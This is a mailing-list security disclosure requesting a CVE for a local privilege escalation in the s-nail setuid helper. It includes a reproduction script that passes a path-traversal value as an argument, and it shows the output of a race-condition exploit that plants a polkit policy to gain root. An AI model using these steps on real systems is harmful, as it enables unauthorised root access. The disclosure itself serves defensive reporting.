Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Date: Fri, 27 Jan 2017 22:03:00 +0100
From: wapiflapi <>
Cc: Steffen Nurpmeso <>
Subject: CVE Request: s-nail local root


s-nail fixed a local root. This affects archlinux by default and other
linux distros' packages (eg. ubuntu). Can we get a CVE for this ?

Here is the advisory:


S-nail (later S-mailx) is a mail processing system. It is intended to
provide the functionality of the POSIX mailx command. It is installed by
default on archlinux and is pulled in on ubuntu whenever mailx is
needed. It might be used elsewhere.

There is a vulnerability in the setuid root helper binary s-nail uses to
handle lock files:

  - archlinux: /usr/lib/mail-privsep
  - ubuntu:    /usr/lib/s-nail/s-nail/privsep

Reproducing the issue

The problem is that an O_EXCL file is created with a user controlled
path because the di.di_hostname and di.di_randstr are never checked.
This means that using s-nail-privsep a normal user can create a file
anywhere on the filesystem, which is a security problem.

The command is very picky about it's arguments. Here is an example
script setting up the bug. This runs the setuid binary under strace so
we can see the call to open() that we control followed by a call to
fchown() giving us ownership.

# On archlinux it should be: /usr/lib/mail-privsep

# Some setup to get the directory traversal working.
touch /tmp/foo
mkdir -p /tmp/foo.lock.spam.eggs

cd $(dirname $PRIVSEP);
PATH=$PATH:. # argv[0] must be just the name.

# stdin & stdout must be pipes !
echo | strace -f $(basename $PRIVSEP) rdotlock \
              mailbox /tmp/foo name /tmp/foo.lock \
              hostname spam randstr eggs/../../../../../../../tmp/test \
              pollmsecs 0 |& grep -E "foo\.lock\.spam\.eggs|chown";

Security Impact

This issue can be leveraged by any logged in user to gain full root

To exploit this we have to win a race condition and find a way to
leverage the ephemeral file. We achieve this by adding a polkit policy
and using pkexec su.

A functional exploit is attached :-) Should look like this:

$ id
uid=1000(wapiflapi) gid=1000(wapiflapi) groups=1000(wapiflapi)[...]
$ ./s-nail-privget /usr/lib/s-nail/s-nail-privsep
[=] s-nail-privsep local root by @wapiflapi
[+] Started flood in /usr/share/polkit-1/actions/backdoor.policy
[+] Started race with /usr/lib/s-nail/s-nail-privsep
[=] This could take a while...
[/] wait for it: done
root@box:~# id
uid=0(root) gid=0(root) groups=0(root)

If the system doesn't have pkexec there are other ways to get root
access from this. (`at` and `crontab` files come to mind.) The exploit
is a bit slow (20s?), it's probably possible to be smarter about the
race, but it's a poc ! ;-) Also if testing in a VM, having more than one
cpu core helps a lot.

Issue Timeline

discovery:  26/01/2016
disclosure: 27/01/2016
vendor fix: 27/01/2016

Wannes `wapiflapi` Rombouts

View attachment "s-nail-privget.c" of type "text/x-csrc" (5025 bytes)

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.